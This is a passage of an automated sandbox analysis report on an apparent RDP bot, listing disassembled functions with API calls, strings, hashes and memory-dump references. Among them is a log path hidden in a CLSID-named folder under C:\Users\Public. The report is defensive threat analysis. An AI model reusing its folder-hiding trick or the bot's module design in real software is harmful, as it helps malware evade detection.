String ID: (mode != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,mode=%s,err=%08x)$[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d)$[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d)$[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu)$fs_file_write
API String ID: 608220805-961576452
Opcode ID: 1cb5eafd62267dfe483e8b9f6ab85db23e0a2ddce2e864eb0c2ab42da6a02e53
Instruction ID: 2b372f662e107978dcc3a3b77d81683085512e4e524a60828b9d0055f14cf8a9
Opcode Fuzzy Hash: 1cb5eafd62267dfe483e8b9f6ab85db23e0a2ddce2e864eb0c2ab42da6a02e53
Instruction Fuzzy Hash: C0517C61A0964791FA209B5DEA00AB82371BFB8794F580133FB4E97294DE3CF9668301

Function 00007FF8BA4F42BE Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BA4F42DD
CreateDirectoryA.KERNEL32 ref: 00007FF8BA4F42FF
GetLastError.KERNEL32 ref: 00007FF8BA4F4350
strcpy.MSVCRT ref: 00007FF8BA4F43A1
strlen.MSVCRT ref: 00007FF8BA4F43A9
strlen.MSVCRT ref: 00007FF8BA4F43C5
strlen.MSVCRT ref: 00007FF8BA4F43D6
CreateDirectoryA.KERNEL32 ref: 00007FF8BA4F4447
GetLastError.KERNEL32 ref: 00007FF8BA4F4451

Strings

(path != NULL), xrefs: 00007FF8BA4F4327
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF8BA4F4400
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BA4F4320
fs_dir_create, xrefs: 00007FF8BA4F432E, 00007FF8BA4F4362, 00007FF8BA4F43F9, 00007FF8BA4F451F, 00007FF8BA4F4586
NULL, xrefs: 00007FF8BA4F4577
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F4335
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF8BA4F458D
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF8BA4F4526
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF8BA4F4369

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-906809513
Opcode ID: bb568f17dd6a2e4523c81be14fcf721ce6dfccabb5d46468dc8857a08ea5cd7d
Instruction ID: ab90251c725329c0c9ac5a2c3904effeaf8403c1050bee2b4bc8ccf9e426c462
Opcode Fuzzy Hash: bb568f17dd6a2e4523c81be14fcf721ce6dfccabb5d46468dc8857a08ea5cd7d
Instruction Fuzzy Hash: 2171CF71B0C28382FB209B4CE8C07B91250AF857D8F6569B2DF4F576A5DE2EF9498301

Function 00007FF8BFB85A5E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB85A7D
CreateDirectoryA.KERNEL32 ref: 00007FF8BFB85A9F
GetLastError.KERNEL32 ref: 00007FF8BFB85AF0
strcpy.MSVCRT ref: 00007FF8BFB85B41
strlen.MSVCRT ref: 00007FF8BFB85B49
strlen.MSVCRT ref: 00007FF8BFB85B65
strlen.MSVCRT ref: 00007FF8BFB85B76
CreateDirectoryA.KERNEL32 ref: 00007FF8BFB85BE7
GetLastError.KERNEL32 ref: 00007FF8BFB85BF1

Strings

[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF8BFB85D2D
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB85AC0
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF8BFB85BA0
NULL, xrefs: 00007FF8BFB85D17
fs_dir_create, xrefs: 00007FF8BFB85ACE, 00007FF8BFB85B02, 00007FF8BFB85B99, 00007FF8BFB85CBF, 00007FF8BFB85D26
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB85AD5
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF8BFB85CC6
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF8BFB85B09
(path != NULL), xrefs: 00007FF8BFB85AC7

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-906809513
Opcode ID: 06752aa5a4281953a201f9da300dc2996c40b0526a77fcdae041027a90c7b52c
Instruction ID: bc6e1a3ffb38801d94d25b8a651edbd589e382edbf2a1d18a8aa8eb8d96eef26
Opcode Fuzzy Hash: 06752aa5a4281953a201f9da300dc2996c40b0526a77fcdae041027a90c7b52c
Instruction Fuzzy Hash: 94717C12F0C64382FA605B9CE884BB92351AFD47E4F556136DB4E47A97FE2CA845CB01

Function 00007FF6BE039B8C Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF6BE039BAC
GetLastError.KERNEL32 ref: 00007FF6BE039CDD

Part of subcall function 00007FF6BE031360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE03137E

strlen.MSVCRT ref: 00007FF6BE039BFE
strlen.MSVCRT ref: 00007FF6BE039C1A
_mbscat.MSVCRT ref: 00007FF6BE039C35
strlen.MSVCRT ref: 00007FF6BE039C3D
strlen.MSVCRT ref: 00007FF6BE039C52
fopen.MSVCRT ref: 00007FF6BE039C75

Strings

[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF6BE039CA2
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF6BE039CC7
service, xrefs: 00007FF6BE039B8E
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF6BE039DB4
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log, xrefs: 00007FF6BE039BDE, 00007FF6BE039BF4, 00007FF6BE039C2B, 00007FF6BE039C48, 00007FF6BE039C94
debug_init, xrefs: 00007FF6BE039C9B, 00007FF6BE039CC0, 00007FF6BE039CE8, 00007FF6BE039DAD, 00007FF6BE039E21
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF6BE039CEF
main.log, xrefs: 00007FF6BE039C5A
[I] (%s) -> %s, xrefs: 00007FF6BE039E28
Done, xrefs: 00007FF6BE039E1A

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpin_mbscatfopen
String ID: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log$Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$main.log$service
API String ID: 3216678114-1460613360
Opcode ID: 6f494a988963525dfc8c9e6694f7ed676b47cce2b4ff5cefa6908507d4734c9b
Instruction ID: 9ef994839c132b5c9fa6b1b769b687498c06fe93de125967b3130e4475d8b35b
Opcode Fuzzy Hash: 6f494a988963525dfc8c9e6694f7ed676b47cce2b4ff5cefa6908507d4734c9b
Instruction Fuzzy Hash: F2514950E1C60381FA31A71DEA91BB932A1EF78744F940133F74DC62AADE6CA876C351

Function 00007FF6BE0379C0 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 193stringCOMMON

Download Yara Rule

APIs

_mbscat.MSVCRT ref: 00007FF6BE037B40
strlen.MSVCRT ref: 00007FF6BE037BFE
_mbscpy.MSVCRT ref: 00007FF6BE037C26
_mbscpy.MSVCRT ref: 00007FF6BE037C7D
strlen.MSVCRT ref: 00007FF6BE037C85
strlen.MSVCRT ref: 00007FF6BE037CAF

Part of subcall function 00007FF6BE032515: fopen.MSVCRT ref: 00007FF6BE03255A
Part of subcall function 00007FF6BE032515: fseek.MSVCRT ref: 00007FF6BE032579
Part of subcall function 00007FF6BE032515: _errno.MSVCRT ref: 00007FF6BE03258D
Part of subcall function 00007FF6BE032515: _errno.MSVCRT ref: 00007FF6BE0325A8

Strings

package_unpack, xrefs: 00007FF6BE037A39, 00007FF6BE037A78, 00007FF6BE037AA8, 00007FF6BE037B89, 00007FF6BE037CD0, 00007FF6BE037CF6
(package != NULL), xrefs: 00007FF6BE037A71
(target != NULL), xrefs: 00007FF6BE037AA1
[I] (%s) -> Done(package=%s,target=%s), xrefs: 00007FF6BE037CFD
[E] (%s) -> Entry unpack failed(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u,err=%08x), xrefs: 00007FF6BE037B90
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE037A7F, 00007FF6BE037AAF
[I] (%s) -> Entry unpack done(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u), xrefs: 00007FF6BE037CD7
H:/Projects/rdp/bot/codebase/package.c, xrefs: 00007FF6BE037A6A, 00007FF6BE037A9A
%TEMP%, xrefs: 00007FF6BE037B22
[E] (%s) -> Failed(package=%s,target=%s,err=%08x), xrefs: 00007FF6BE037A40
NULL, xrefs: 00007FF6BE037D0E, 00007FF6BE037D1A

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$_errno_mbscpy$_mbscatfopenfseek
String ID: %TEMP%$(package != NULL)$(target != NULL)$H:/Projects/rdp/bot/codebase/package.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Entry unpack failed(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u,err=%08x)$[E] (%s) -> Failed(package=%s,target=%s,err=%08x)$[I] (%s) -> Done(package=%s,target=%s)$[I] (%s) -> Entry unpack done(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u)$package_unpack
API String ID: 3066828623-625159688
Opcode ID: 105523515e84c8d438c400628abfd7f6ba265d1413e23efcc273f54c6047ae63
Instruction ID: 26bb098007f155212ce2f514bd9cdccf8e1a4530e59d955e4d8acabd3a7d78d4
Opcode Fuzzy Hash: 105523515e84c8d438c400628abfd7f6ba265d1413e23efcc273f54c6047ae63
Instruction Fuzzy Hash: 0C818061A0C74795FB209B19E8407AA6371FBAC784F885232FB4DD7685EE7CE519C700

Function 00007FF6BE038563 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 179stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BE031360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE03137E

strlen.MSVCRT ref: 00007FF6BE0385D8
strlen.MSVCRT ref: 00007FF6BE0385FA
_mbscpy.MSVCRT ref: 00007FF6BE038616
strlen.MSVCRT ref: 00007FF6BE03861E
strlen.MSVCRT ref: 00007FF6BE038635
FreeLibrary.KERNEL32 ref: 00007FF6BE038671
GetProcessHeap.KERNEL32 ref: 00007FF6BE03872D
HeapAlloc.KERNEL32 ref: 00007FF6BE038741
_mbscpy.MSVCRT ref: 00007FF6BE038756

Strings

unit_init, xrefs: 00007FF6BE0386DF
[E] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF6BE0387F9
unit_cleanup, xrefs: 00007FF6BE0386F6
units_init, xrefs: 00007FF6BE03871A, 00007FF6BE0387F2, 00007FF6BE038833
mem_alloc, xrefs: 00007FF6BE038788
[I] (%s) -> Loaded(f_path=%s), xrefs: 00007FF6BE038721
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF6BE03878F
[I] (%s) -> Done(name=%s), xrefs: 00007FF6BE03883A

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$Heap_mbscpy$AllocFreeHandleLibraryModuleProcess
String ID: [E] (%s) -> Failed(name=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(name=%s)$[I] (%s) -> Loaded(f_path=%s)$mem_alloc$unit_cleanup$unit_init$units_init
API String ID: 548194777-214984806
Opcode ID: d97ec5c473da84a818b1d6212fb4ba4403f3e876dd0ce6e9996ee0095170d0c4
Instruction ID: 7b14420791e784e2a0539c6a89df1eb65fdb26da714f038924d8f7603966f7ca
Opcode Fuzzy Hash: d97ec5c473da84a818b1d6212fb4ba4403f3e876dd0ce6e9996ee0095170d0c4
Instruction Fuzzy Hash: 39815A61A0C64391FA719B09A951BBA23A1EFB8B84F444472FB4D877D5EF3CE526C310

Function 00007FF6BE033D81 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 199fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,service,000002234F5413D0,?,00007FF6BE0484F0,00007FF6BE0384E9), ref: 00007FF6BE033DD9
LockFileEx.KERNEL32(?,?,?,?,?,?,?,?,?,service,000002234F5413D0,?,00007FF6BE0484F0,00007FF6BE0384E9), ref: 00007FF6BE033E12
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,service,000002234F5413D0,?,00007FF6BE0484F0,00007FF6BE0384E9), ref: 00007FF6BE033EE7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,service,000002234F5413D0,?,00007FF6BE0484F0,00007FF6BE0384E9), ref: 00007FF6BE033FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,service,000002234F5413D0,?,00007FF6BE0484F0,00007FF6BE0384E9), ref: 00007FF6BE034140

Strings

[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF6BE034164
service, xrefs: 00007FF6BE033D84
NULL, xrefs: 00007FF6BE03414B
(lock != NULL), xrefs: 00007FF6BE033EC3
(path != NULL), xrefs: 00007FF6BE033E93
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF6BE033EFC
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE033E6D
[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF6BE033FE1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE033EA1, 00007FF6BE033ED1
fs_file_lock, xrefs: 00007FF6BE033E66, 00007FF6BE033E9A, 00007FF6BE033ECA, 00007FF6BE033EF5, 00007FF6BE033FDA, 00007FF6BE03415D
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE033E8C, 00007FF6BE033EBC

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: (lock != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock$service
API String ID: 2747014929-3958755462
Opcode ID: 54ee31f5105c176933aa956faabb0ff0d66d276a4c84ab9d9d605d99f51c3a37
Instruction ID: 9af39ffbe08a6649e6bebd5fb05859f29a298f741062ad6de40742c1479404f1
Opcode Fuzzy Hash: 54ee31f5105c176933aa956faabb0ff0d66d276a4c84ab9d9d605d99f51c3a37
Instruction Fuzzy Hash: BA816E20E0C74B81F630AB5CA580B7972709F78355E141633EB7ECB6D5EE2DA9A58302

Function 00007FF8BA4F256C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BA4F2590
htonl.WS2_32 ref: 00007FF8BA4F262C
htons.WS2_32 ref: 00007FF8BA4F263D
connect.WS2_32 ref: 00007FF8BA4F2656
WSAGetLastError.WS2_32 ref: 00007FF8BA4F267C
select.WS2_32 ref: 00007FF8BA4F26EC
WSAGetLastError.WS2_32 ref: 00007FF8BA4F26FC
WSAGetLastError.WS2_32 ref: 00007FF8BA4F273E

Part of subcall function 00007FF8BA4F2209: ioctlsocket.WS2_32 ref: 00007FF8BA4F222F

Part of subcall function 00007FF8BA4F2154: setsockopt.WS2_32 ref: 00007FF8BA4F217C
Part of subcall function 00007FF8BA4F2154: setsockopt.WS2_32 ref: 00007FF8BA4F21A8

WSAGetLastError.WS2_32 ref: 00007FF8BA4F276B

Strings

[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8BA4F272D
tcp_connect, xrefs: 00007FF8BA4F25ED, 00007FF8BA4F2708, 00007FF8BA4F2726, 00007FF8BA4F2753, 00007FF8BA4F277C, 00007FF8BA4F27A6
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8BA4F25F4
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BA4F275A
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BA4F2783
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BA4F27AD
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BA4F270F

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 14883c677a07027e0c611d24d643234e2c749e44aaac6b3bbce7a29d53d8c958
Instruction ID: 8c3f13964719bf74d22d07f0491735eac483af7e144a91f758c2793bdfdf967c
Opcode Fuzzy Hash: 14883c677a07027e0c611d24d643234e2c749e44aaac6b3bbce7a29d53d8c958
Instruction Fuzzy Hash: 2D51C571A0C64282F6209B5CEC406BA3650EF467F4F5423B6DF2E466E5DF7EE6098700

Function 00007FF8B915256C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8B9152590
htonl.WS2_32 ref: 00007FF8B915262C
htons.WS2_32 ref: 00007FF8B915263D
connect.WS2_32 ref: 00007FF8B9152656
WSAGetLastError.WS2_32 ref: 00007FF8B915267C
select.WS2_32 ref: 00007FF8B91526EC
WSAGetLastError.WS2_32 ref: 00007FF8B91526FC
WSAGetLastError.WS2_32 ref: 00007FF8B915273E

Part of subcall function 00007FF8B9152209: ioctlsocket.WS2_32 ref: 00007FF8B915222F

Part of subcall function 00007FF8B9152154: setsockopt.WS2_32 ref: 00007FF8B915217C
Part of subcall function 00007FF8B9152154: setsockopt.WS2_32 ref: 00007FF8B91521A8

WSAGetLastError.WS2_32 ref: 00007FF8B915276B

Strings

tcp_connect, xrefs: 00007FF8B91525ED, 00007FF8B9152708, 00007FF8B9152726, 00007FF8B9152753, 00007FF8B915277C, 00007FF8B91527A6
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B915270F
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B915275A
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8B91527AD
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8B915272D
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8B91525F4
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B9152783

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 480825a7f3e30da42117ec77c43a9a645fda6539583568eb973d0f60dc714624
Instruction ID: 1743b3714314608f29ace11e4a20f0004e5f4b84467e38a7000053a60e9eaadd
Opcode Fuzzy Hash: 480825a7f3e30da42117ec77c43a9a645fda6539583568eb973d0f60dc714624
Instruction Fuzzy Hash: 0151E162E0C6C342E6608F2DE8502BA7B51AF857E4F140735DB2E86AE5EE7CF545E700

Function 00007FF8B91850EC Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8B9185110
htonl.WS2_32 ref: 00007FF8B91851AC
htons.WS2_32 ref: 00007FF8B91851BD
connect.WS2_32 ref: 00007FF8B91851D6
WSAGetLastError.WS2_32 ref: 00007FF8B91851FC
select.WS2_32 ref: 00007FF8B918526C
WSAGetLastError.WS2_32 ref: 00007FF8B918527C
WSAGetLastError.WS2_32 ref: 00007FF8B91852BE

Part of subcall function 00007FF8B9184D89: ioctlsocket.WS2_32 ref: 00007FF8B9184DAF

Part of subcall function 00007FF8B9184CD4: setsockopt.WS2_32 ref: 00007FF8B9184CFC
Part of subcall function 00007FF8B9184CD4: setsockopt.WS2_32 ref: 00007FF8B9184D28

WSAGetLastError.WS2_32 ref: 00007FF8B91852EB

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8B918532D
tcp_connect, xrefs: 00007FF8B918516D, 00007FF8B9185288, 00007FF8B91852A6, 00007FF8B91852D3, 00007FF8B91852FC, 00007FF8B9185326
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B91852DA
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FF8B9185174
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FF8B91852AD
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8B9185303
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B918528F

Memory Dump Source

